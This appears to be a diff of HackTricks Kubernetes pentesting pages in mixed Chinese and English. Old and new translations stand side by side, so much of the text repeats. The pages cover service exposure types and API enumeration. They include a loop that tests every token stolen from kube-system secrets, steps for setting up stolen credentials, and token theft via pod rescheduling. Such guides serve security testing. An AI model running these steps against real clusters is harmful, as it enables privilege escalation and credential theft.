### 删除 pods + 不可调度节点
### 删除 pods + unschedulable nodes
如果攻击者已经**compromised a node**,并且他可以从其他节点**delete pods**,还可以**make other nodes not able to execute pods**,那么这些 pods 会在 compromised 的节点上重新运行,而他将能够**steal the tokens**运行其中。\
[**更多信息请查看此链接**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes)。
如果攻击者已经**compromised a node**,并且他可以从其他节点**delete pods**,还可以让其他节点**not able to execute pods**,那么这些 pods 会在 compromised node 上重新运行,而他将能够**steal the tokens**在其中运行的内容。\
关[**更多信息请看这些链接**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes)。
## Automatic Tools
@@ -1,12 +1,12 @@
# Kubernetes 中暴露 Services
# Kubernetes 中暴露 Services
{{#include ../../banners/hacktricks-training.md}}
在 Kubernetes 中有 **不同方式来暴露 services**,这样 **internal** endpoints 和 **external** endpoints 都可以访问它们。这个 Kubernetes 配置非常关键,因为管理员可能会让 **attackers 访问他们本不访问的 services**
在 Kubernetes 中有**不同方式来暴露 services**,这样**内部**端点和**外部**端点都可以访问它们。这个 Kubernetes 配置非常关键,因为管理员可能会让**attackers 访问他们本不应能够访问的 services**。
### Automatic Enumeration
在开始枚举 K8s 提供的将 services 暴露给 public 的各种方式之前,要知道如果你可以列出 namespaces、services 和 ingresses,你就可以通过以下方式找到所有暴露到 public 的内容:
在开始枚举 K8s 提供的将 services 暴露给 public 的方式之前,要知道如果你可以列出 namespaces、services 和 ingresses,你就可以以下方式找到所有暴露到 public 的内容:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,13 +20,13 @@ done | grep -v "ClusterIP"
```
### ClusterIP
**ClusterIP** service 是 Kubernetes **default** **service**。它会在你的 cluster 内提供一个 **service inside**供 cluster 内的其他 app 访问。**没有 external access**。
**ClusterIP** service 是 Kubernetes **service** 的**默认**类型。它会在你的集群内提供一个 **service inside**集群内的其他应用可以访问。**没有外部访问**。
However, this can be accessed using the Kubernetes Proxy:
不过,这可以通过 Kubernetes Proxy 访问:
```bash
kubectl proxy --port=8080
```
现在,你可以通过 Kubernetes API 按照这个方案访问 services
现在,你可以通过这个 scheme 导航 Kubernetes API 访问 services
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
@@ -50,7 +50,7 @@ port: 80
targetPort: 80
protocol: TCP
```
_这种方法需要你以 **authenticated user** 身份运行 `kubectl`。_
_此方法要求你以 **authenticated user** 身份运行 `kubectl`。_
列出所有 ClusterIPs:
```bash
@@ -58,13 +58,13 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
```
### NodePort
当使用 **NodePort** 时,会在所有 Nodes(代表 Virtual Machines)上开放一个指定端口。指向这个特定端口的 **Traffic** 随后会被系统地**路由到 service**。通常,由于其缺点,不推荐使用这种方法。
当使用 **NodePort** 时,会在所有 Nodes(代表 Virtual Machines)上开放一个指定端口。然后,定向到这个特定端口的 **Traffic** 会被系统地 **routed to the service**。通常不推荐使用这种方法,因为它有一些缺点
列出所有 NodePorts:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
```
NodePort 规范示例:
NodePort 规范的一个示例:
```yaml
apiVersion: v1
kind: Service
@@ -81,24 +81,25 @@ targetPort: 80
nodePort: 30036
protocol: TCP
```
如果你**不指定** yaml 中的 **nodePort**(它就是将被开放的端口),将使用 **3000032767 范围内的端口**
如果你**不指定** yaml 中的 **nodePort**(它就是将被开放的端口),将使用 **3000032767** 范围内的一个端口
在审查 NodePort 或 LoadBalancer Services 时,也要检查 traffic-policy 字段,因为它们会改变从给定来源可用的节点和后端:
在审查 NodePort 或 LoadBalancer Services 时,也要检查 traffic-policy 字段,因为它们会改变从给定来源看哪些节点和后端是可用的
```bash
kubectl get services --all-namespaces \
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
```
- `externalTrafficPolicy: Local` 保留原始客户端源 IP 用于 NodePort/LoadBalancer 流量,并避免转发到其他节点上的 endpoints。没有本地 ready endpoint 的节点即使 Service 在别处有 endpoints,也可能会丢弃流量
- `externalTrafficPolicy: Cluster` 是默认值,可以通过任意节点转发,但后端日志里可能看到的是节点 IP,而不是真实的外部客户端 IP
- `internalTrafficPolicy: Local` 将集群内的 Service 流量限制到源节点本地的 endpoints。这是 locality routing,不是授权边界
- `sessionAffinity: ClientIP` 可以让同一个客户端的重复测试命中同一个 backend,在手动检查时隐藏其他 ready endpoints
- `trafficDistribution` 和 EndpointSlice topology hints 在较新的集群上可以优先选择同 zone 或同 node 的 endpoints;应将它们视为路由偏好,而不是严格的安全策略
- NodePorts 通常会暴露在 node addresses 上,但 kube-proxy 可以在其配置中使用 `--nodeport-addresses``nodePortAddresses` 限制 address ranges。在假设 NodePort 可在每个 node IP 上访问之前,请先检查当前生效的 kube-proxy 或 CNI service-proxy replacement 配置
- `externalTrafficPolicy: Local` 会保留 NodePort/LoadBalancer traffic 的原始 client source IP,并避免转发到其他 nodes 上的 endpoints。即使 Service 在其他地方有 endpoints,没有本地 ready endpoint 的 node 也可能丢弃 traffic
- `externalTrafficPolicy: Cluster` 是默认值,它可以通过任意 node 转发,但 backend logs 可能看到的是 node IP,而不是真实的 external client IP
- `internalTrafficPolicy: Local` 将集群内的 Service traffic 限制为源 node 上本地的 endpoints。这是 locality routing,不是 authorization boundary
- `sessionAffinity: ClientIP` 可能会让来自同一 client 的重复测试命中同一个 backend,在手动检查时隐藏其他 ready endpoints
- `trafficDistribution` 和 EndpointSlice topology hints 在较新的 clusters 上可以优先选择同 zone 或同 node 的 endpoints;应将它们视为 routing preferences,而不是硬性的 security policy。
### LoadBalancer
使用 **cloud provider 的 load balancer** Service 暴露到外部。在 GKE,这会启动一个 [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)为你提供一个单独的 IP 地址,并将所有流量转发到你的 service。在 AWS 中,它会启动一个 Load Balancer。
使用 cloud provider 的 load balancer 在外部暴露 Service。On GKE,这会启动一个 [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/)它会给你一个单 IP address,并将所有 traffic 转发到你的 service。在 AWS 中,它会启动一个 Load Balancer。
每个暴露的 service 都需要为一个 LoadBalancer 付费,这可能很昂贵。
你必须为每个暴露的 service 支付一个 LoadBalancer,这可能很昂贵。
列出所有 LoadBalancers:
```bash
@@ -107,15 +108,15 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
### External IPs
> [!TIP]
> External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.
> External IPs 是由 type Load Balancers 的 services 暴露出来的,它们通常在使用 external Cloud Provider Load Balancer 时使用。
>
> For finding them, check for load balancers with values in the `EXTERNAL-IP` field.
> 要查找它们,请检查 `EXTERNAL-IP` 字段有值的 load balancers。
Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator.
进入 cluster 的流量,如果使用 **external IP**(作为 **destination IP**),并且到达 Service port,就会被 **routed to one of the Service endpoints**`externalIPs` 不由 Kubernetes 管理,而是由 cluster administrator 负责。
`externalIPs` is a sensitive route-control field because a user who can set it might claim traffic for an IP address the Service owner should not control if the surrounding network routes that IP to the cluster. Kubernetes announced the deprecation and planned removal of Service `externalIPs` in v1.36, so prefer controller-owned exposure mechanisms such as LoadBalancer integrations or Gateway API where possible, and restrict/admit this field carefully while it still exists.
`externalIPs` 是一个敏感的 route-control 字段,因为可以设置它的用户可能会为某个 IP address 争夺 traffic 的控制权,而这个 IP 的控制权本应不属于该 Service owner,如果周围的 network 将该 IP route 到 clusterKubernetes 已宣布在 v1.36 中弃用并计划移除 Service `externalIPs`,因此在可能的情况下,应优先使用由 controller 管理的 exposure 机制,如 LoadBalancer integrations Gateway API,并在其仍然存在时谨慎地 restrict/admit 这个字段。
In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`)
Service spec 中,`externalIPs` 可以与任意 `ServiceTypes` 一起指定。在下面的示例中,"`my-service`" 可以被客户端通过 "`80.11.12.10:80`"`externalIP:port`)访问。
```yaml
apiVersion: v1
kind: Service
@@ -134,9 +135,9 @@ externalIPs:
```
### ExternalName
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **map a Service to a DNS name**, not to a typical selector such as `my-service` or `cassandra`. You specify these Services with the `spec.externalName` parameter.
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) type ExternalName 的 Services **将一个 Service 映射到一个 DNS 名称**,而不是映射到典型的 selector,例如 `my-service` `cassandra`。你通过 `spec.externalName` 参数来指定这些 Services。
This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`:
例如,这个 Service 定义将 `prod` namespace 中的 `my-service` Service 映射到 `my.database.example.com`
```yaml
apiVersion: v1
kind: Service
@@ -147,32 +148,34 @@ spec:
type: ExternalName
externalName: my.database.example.com
```
当查询主机 `my-service.prod.svc.cluster.local` 时,cluster DNS Service 会返回一个值为 `my.database.example.com``CNAME` 记录。访问 `my-service` 的方式与其他 Service 相同,但关键区别在于**重定向发生在 DNS 层**,而不是通过 proxying 或 forwarding。
当查询主机 `my-service.prod.svc.cluster.local` 时,cluster DNS Service 会返回一个值为 `my.database.example.com``CNAME` 记录。访问 `my-service` 的方式与其他 Services 相同,但关键区别在于**重定向发生在 DNS 层**,而不是通过 proxying 或 forwarding。
列出所有 ExternalNames:
Security review note: 如果 Ingress controller、Gateway implementation、service mesh 或 application 接受 ExternalName Service 作为 backend,那么 controller 可能会从其自身的网络位置解析并访问该外部名称。这可能会在用户既能创建 route object 又能创建 ExternalName Service 时,通过 public routing infrastructure 暴露仅限内部访问的 services。在将其视为安全之前,请检查具体的 controller implementation 和 version、ExternalName support flags 或 allowlists、route status,以及确切的 target domain。例如,Skipper 在 v0.24.0 中修复了一个 Kubernetes ExternalName SSRF issue,默认禁用了 ExternalName backends,并记录了一个 allowlist 选项。
列出所有 ExternalNames
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### EndpointSlices
EndpointSlices 显示 Service 当前路由到的具体 backend 地址和端口。当 Service 没有 selector、labels 无法说明 traffic path,或者只有部分 backend 已 ready 时,它们尤其有用。
EndpointSlices 显示 Service 当前路由到的具体后端地址和端口。当 Service 没有 selector、label 不能说明流量路径,或者只有部分后端已 ready 时,它们尤其有用。
列出与 Services 关联的 EndpointSlices:
列出与 Services 关联的 EndpointSlices
```bash
kubectl get endpointslices --all-namespaces
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
```
审查暴露面时,将 Service selector 与 EndpointSlice `targetRef`、endpoint addresses、readiness conditions 和 ports 进行比。一个没有 selector 的 Service 可以与手动管理的 EndpointSlices 配对,并将流量路由到非 Pod 或意外的目标。
审查 exposure 时,将 Service selector 与 EndpointSlice `targetRef`、endpoint addresses、readiness conditions 和 ports 进行比。一个不带 selector 的 Service 可以与手动管理的 EndpointSlices 配对,并将 traffic 路由到非-Pod 或意外的目标。
### Ingress
不同于上面的所有示例,**Ingress 不是一种 service**。相反,它位于多个 services **前面,并充当“smart router”** 或进入你 cluster 的入口点。
上面的所有示例不同**Ingress 不是一种 service**。相反,它位于**多个 services 前面,并充当 “smart router”** 或进入集群的入口点。
你可以用 Ingress 做很多不同的事情,而且**许多类型的 Ingress controllers,它们具有不同的能力**。
你可以用 Ingress 做很多不同的事情,而且**许多不同能力的 Ingress controllers**。
默认的 GKE ingress controller 会为你启动一个 [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)。这将允许你同时进行基于 path 和基于 subdomain 的路由到 backend services。例如,你可以 foo.yourdomain.com 上的所有请求发送到 foo service,并 yourdomain.com/bar/ path 下的所有请求发送到 bar service。
默认的 GKE ingress controller 会为你启动一个 [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)。这会让你同时进行基于 path 和基于 subdomain 的 routing 到 backend services。例如,你可以 foo.yourdomain.com 上的所有请求发送到 foo service,并 yourdomain.com/bar/ path 下的所有请求发送到 bar service。
GKE 上一个带有 [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) 的 Ingress object 的 YAML 可能看起来像这样:
```yaml
@@ -208,37 +211,46 @@ name: bar
port:
number: 8080
```
列出所有 ingress:
列出所有 ingress
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
尽管在这种情况下,最好逐个获取每个信息,以便更好地阅读:
不过在这种情况下,最好逐个获取每个信息,这样更方便阅读:
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### Gateway API
Gateway API 是用于暴露 Services 的较新 Kubernetes API。它将基础设施拥有的 Gateway 对象与应用拥有的 Route 对象(如 HTTPRoute)分离开来。这对于 delegation 很有用,但也意味着 exposure 可以跨 namespace 拆分
Gateway API 是用于暴露 Services 的较新 Kubernetes API。它将基础设施拥有的 Gateway 对象与应用拥有的 Route 对象(如 HTTPRoute)分离开来。这对委派很有用,但也意味着暴露可以分散到不同的 namespaces
列出 Gateway API exposure objects:
列出 Gateway API 暴露对象:
```bash
kubectl get gatewayclasses
kubectl get gateways --all-namespaces
kubectl get httproutes --all-namespaces
kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces
kubectl get referencegrants --all-namespaces
kubectl get backendtlspolicies --all-namespaces
kubectl get gateway -n <namespace> <gateway-name> -o yaml
kubectl get httproute -n <namespace> <route-name> -o yaml
```
检查 Gateway listeners、allowed route namespaces、Route `parentRefs`、hostnames、filters、backend references,以及状态条件,例如 route 是否被 accepted。即使不存在 legacy Ingress 对象,被 shared Gateway accepted 的 Route 也可以暴露后端服务
检查 Gateway listeners、允许的 route namespaces、Route `parentRefs`、hostnames 或 SNI matches、filters、backend references,以及诸如 `Accepted``ResolvedRefs``Programmed` 之类的 status conditions。被共享 Gateway 接受的 Route 即使没有 legacy Ingress object,也可以暴露一个 backend
不要只检查 HTTPRoute。GRPCRoute、TLSRoute、TCPRoute 和 UDPRoute 也可以暴露非 HTTP services,例如 admin ports、brokers、databases、service-mesh gateways,或 pass-through TLS backends。还要查看 `ReferenceGrant` objects,用于跨 namespace 的 backend 或 certificate references,以及 `BackendTLSPolicy`,用于 Gateway 在连接 backend Services 时使用的 TLS identity。Backend TLS policy 本身并不能证明 public reachability,但当一个已 programmed 的 Gateway route 命中了一个 ready Service,且 backend identity validation 弱、共享或错误时,它是有用的证据。
### References
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/)
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
- [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/)
- [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/)
- [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/)
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/)
- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/)
- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9)
{{#include ../../banners/hacktricks-training.md}}
@@ -76,14 +76,14 @@ With **`get`** permissions you can access information of specific assets (_`desc
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
如果你有 **`list`** 权限,你就可以执行 API 请求来列出某种资产_`kubectl` 中的 `get` 选项_):
如果你有 **`list`** 权限,你就可以执行 API 请求来列出某种类型的 asset_`kubectl` 中的 `get` 选项_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
如果你有 **`watch`** 权限,你可以执行 API 请求来监控资产:
如果你有 **`watch`** 权限,你就被允许执行 API 请求来监控资产:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -91,10 +91,10 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
它们会打开一个 streaming connection,在 Deployment 发生变化时(或创建新的 Deployment 时)返回完整的 manifest。
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
> [!CAUTION]
> 以下 `kubectl` 命令表示如何列出这些对象。如果你想访问数据,需要使用 `describe` 而不是 `get`
> 以下 `kubectl` 命令表示如何列出对象。如果你想访问数据,需要使用 `describe` 而不是 `get`
### Using curl
@@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> 默认情况下,pod 可以 **access** 位于域名 **`kubernetes.default.svc`** 的 **kube-api server**,你可以在 **`/etc/resolv.config`** 中看到 kube network,因为在那里你会找到 kubernetes DNS server 的地址(同一网段中的 “.1” 是 kube-api endpoint)。
> 默认情况下,pod 可以 **access** 域名 **`kubernetes.default.svc`** **kube-api server**并且你可以在 **`/etc/resolv.config`** 中看到 kube network,因为里你会找到 kubernetes DNS server 的地址(同一网段中的 “.1” 是 kube-api endpoint)。
### Using kubectl
拿到 token 和 API server 的地址后,你可以像这里所示一样使用 kubectl 或 curl 来访问它:
拿到 token 和 API server 的地址后,你可以像这里所示使用 kubectl 或 curl 来访问它:
默认情况下,APISERVER 使用 `https://` schema 进行通信
By default, The APISERVER 正在使用 `https://` schema 进行通信
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> 如果 URL 中没有 `https://`,你可能会到类似 Bad Request 的错误
> 如果 url 中没有 `https://`,你可能会到类似 Bad Request 的 Error
你可以在[**这里找到官方 kubectl cheatsheet**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)。以下各节的目标是按顺序介绍不同的选项,以便对你已获得访问权限的新的 K8s 进行枚举和理解
你可以在[**这里找到官方 kubectl cheatsheet**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)。以下各节的目标是以有序的方式介绍不同的选项,用于枚举并理解你已获得访问权限的新的 K8s。
要找到 `kubectl` 发送的 HTTP 请求,你可以使用参数 `-v=8`
要找到 `kubectl` 发送的 HTTP request,你可以使用参数 `-v=8`
#### MitM kubectl - Proxyfying kubectl
```bash
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
{{#endtab }}
{{#endtabs }}
如果你成功窃取了一些用户凭据,你可以使用类似下面的方式在本地**配置它们**
如果你成功窃取了一些用户凭据,你可以使用类似下方式在本地**配置它们**
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
@@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### 获取支持的资源
### 获取支持的 Resources
有了这些信息,你将知道你可以列出所有服务
有了这些信息,你将知道你可以列出所有的 services
{{#tabs }}
{{#tab name="kubectl" }}
@@ -176,20 +176,46 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
### 值得检查的 Object metadata
当你可以读取一个 object 时,导出完整的 YAML 或 JSON,而不是只依赖表格输出或 `describe`。最有用的安全上下文通常在跨多种 resource type 都存在的通用 object fields 中:
当你可以读取一个 object 时,导出完整的 YAML 或 JSON,而不是只依赖表格输出或 `describe`。最有用的 security context 往往在通用 object fields 中,这些字段存在于多种 resource types 中:
```bash
kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
```
- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind` 标识确对象,并避免不同 namespace 或 API groups 中同名对象之间的混淆。
- `metadata.labels` 和 selectors 连接 Services、Deployments、ReplicaSets、Pods、NetworkPolicies 和 automation。跟踪 selectors 往往是识别 Service 实 backend pods 的最快方式。
- `metadata.annotations` 可能泄露 operational context,例如 ingress 行为、cloud load balancer 设置、GitOps 或 Helm metadata、policy exemptions,以及 service mesh 配置。它们不应包含 secrets,但真实 clusters 往往会在这里暴露有用线索。
- `metadata.ownerReferences` 显示 controller lineage。如果一个 Pod 归属于一个 ReplicaSet,而该 ReplicaSet 又归属于一个 Deployment,那么只修改或删除 Pod 通常无法修复源头问题。
- `metadata.finalizers``metadata.deletionTimestamp` 解释了卡在删除中的 resources,并可能揭示 cleanup controllers 或 persistence/disruption tricks。
- `status`、Events 和 conditions 可以揭示 node placement、pod IPs、image IDs、failure messages、scheduling issues、admission denials以及 controller progress。它们是有用线索,但要证明是谁执行了某个动作,仍然需要 audit logs。
- `metadata.uid`, `name`, `namespace`, `apiVersion` `kind` 标识确对象,并避免不同 namespace 或 API groups 中同名对象之间的混淆。
- `metadata.labels` 和 selectors 连接 Services、Deployments、ReplicaSets、Pods、NetworkPolicies 和 automation。沿着 selectors 追踪,通常是识别 Service 实 backend pods 的最快方式。
- `metadata.annotations` 可能泄露操作上下文,例如 ingress 行为、cloud load balancer 设置、GitOps 或 Helm metadata、policy exemptions,以及 service mesh 配置。它们不应包含 secrets,但真实集群里往往会暴露有用线索。
- `metadata.ownerReferences` 显示 controller lineage。如果一个 Pod 归属于一个 ReplicaSet,而该 ReplicaSet 又归属于一个 Deployment,那么只修改或删除 Pod 通常不能修复根源问题。
- `metadata.finalizers``metadata.deletionTimestamp` 解释为什么资源卡在删除中,并可能揭示清理 controllers 或 persistence/disruption tricks。
- `status`、Events 和 conditions 可以暴露 node 位置、pod IPs、image IDs、失败消息、调度问题、admission 拒绝以及 controller 进度。它们是很有价值的线索,但要证明是谁执行了某个操作仍然需要 audit logs。
### Get Current Privileges
### Dynamic Resource Allocation and device evidence
如果集群使用 GPUs、NICs、FPGAs 或其他 specialized hardware,检查是否存在 Kubernetes Dynamic Resource Allocation (DRA)。DRA 使用 `resource.k8s.io` objects,例如 `DeviceClass``ResourceSlice``ResourceClaim``ResourceClaimTemplate`,来描述可用 devices 并为 Pods 申请它们。这些 objects 可以揭示哪些 nodes 能访问有价值的 hardware、由哪个 driver 管理,以及哪个 workload 拥有一个 allocation。
```bash
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
```
在审查时,将对集群范围的 `DeviceClass``ResourceSlice` 对象的写入权限限制为 admins 和 DRA drivers,并将 `ResourceClaim` / `ResourceClaimTemplate` 权限限定在需要它们的 namespaces 内。driver 对更新 `ResourceClaim` status 的权限应当明确且最小化。在 nodes 上,kubelet PodResources API 通常通过 `/var/lib/kubelet/pod-resources/kubelet.sock` 暴露;监控用 DaemonSets 可能会挂载该目录以检查已分配的 devices,因此应像审查其他高权限 node agents 一样审查这些 Pods。
### ClusterTrustBundle 和 add-on certificate trust
较新的 clusters 可能会在 `certificates.k8s.io` API group 中暴露 `ClusterTrustBundle` 对象。它们是集群范围的 X.509 trust anchor bundlesPods 可以通过 projected volumes 挂载它们。广泛的读取权限是预期的,但写入权限很敏感,因为更改 trusted roots 可能会影响 webhooks、aggregated APIs、service meshes,以及依赖集群分发 CA material 的 applications。
```bash
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
```
在 review 期间,记录 `signerName`、bundle fingerprints、writer identities、projected-volume consumers,以及任何 trust-distribution controller,例如 cert-manager trust-manager。将带有 `insecureSkipTLSVerify: true`、过期 `caBundle` 值,或具有广泛权限可 patch APIService/webhook trust 字段的 `APIService` objects 视为 certificate-trust findings,而不是普通的 object inventory。
### 获取当前权限
{{#tabs }}
{{#tab name="kubectl" }}
@@ -212,15 +238,15 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
检查你的权限的另一种方法是使用工具: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
检查你的权限的另一种方法是使用工具[**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
你可以在以下位置了解更多关于 **Kubernetes RBAC**内容:
你可以在以下内容中了解更多关于 **Kubernetes RBAC**信息:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**一旦你知道自己拥有哪些权限**,请查看以下页面,了解**是否可以滥用它们**来提升权限:
**一旦你知道自己拥有哪些权限**,请查看以下页面,了解**是否可以滥用它们**来提升权限
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -246,7 +272,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
### 获取 namespaces
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**.
Kubernetes 支持由同一个物理集群支撑的**多个虚拟集群**。这些虚拟集群称为**namespaces**。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -281,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }}
{{#endtabs }}
如果你读取 secrets,你可以使用以下命令行来获取与每个 token 相关的权限:
如果你可以读取 secrets,你可以使用以下行来获取与每个 token 相关的权限:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### 获取 Service Accounts
如本页开头所讨论的,**当一个 pod 运行时,通常会为分配一个 service account**。因此,列出 service accounts、它们的权限以及它们运行在哪里,可能会让用户提升权限
如本页开头所讨论的,**当一个 pod 运行时,通常会为分配一个 service account**。因此,列出 service accounts、它们的权限以及它们正在运行的位置,可能会让用户进行权限提升。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -305,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
### 获取 Deployments
Deployments 指定无状态 application workloads 的期望状态。它们会创建 ReplicaSets,而这些 ReplicaSets 会创建 Pods。
Deployments 指定无状态应用工作负载的期望状态。它们会创建 ReplicaSets,而这些 ReplicaSets 会创建 Pods。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -324,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
### 获取 StatefulSets
StatefulSets 管理需要稳定名称、按顺序 rollout 行为,并且通常为每个副本提供持久卷的 Pods。
StatefulSets 管理需要稳定名称、按顺序 rollout 行为,并且通常需要每个 replica 独立 persistent volumes 的 Pods。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### 获取 Services
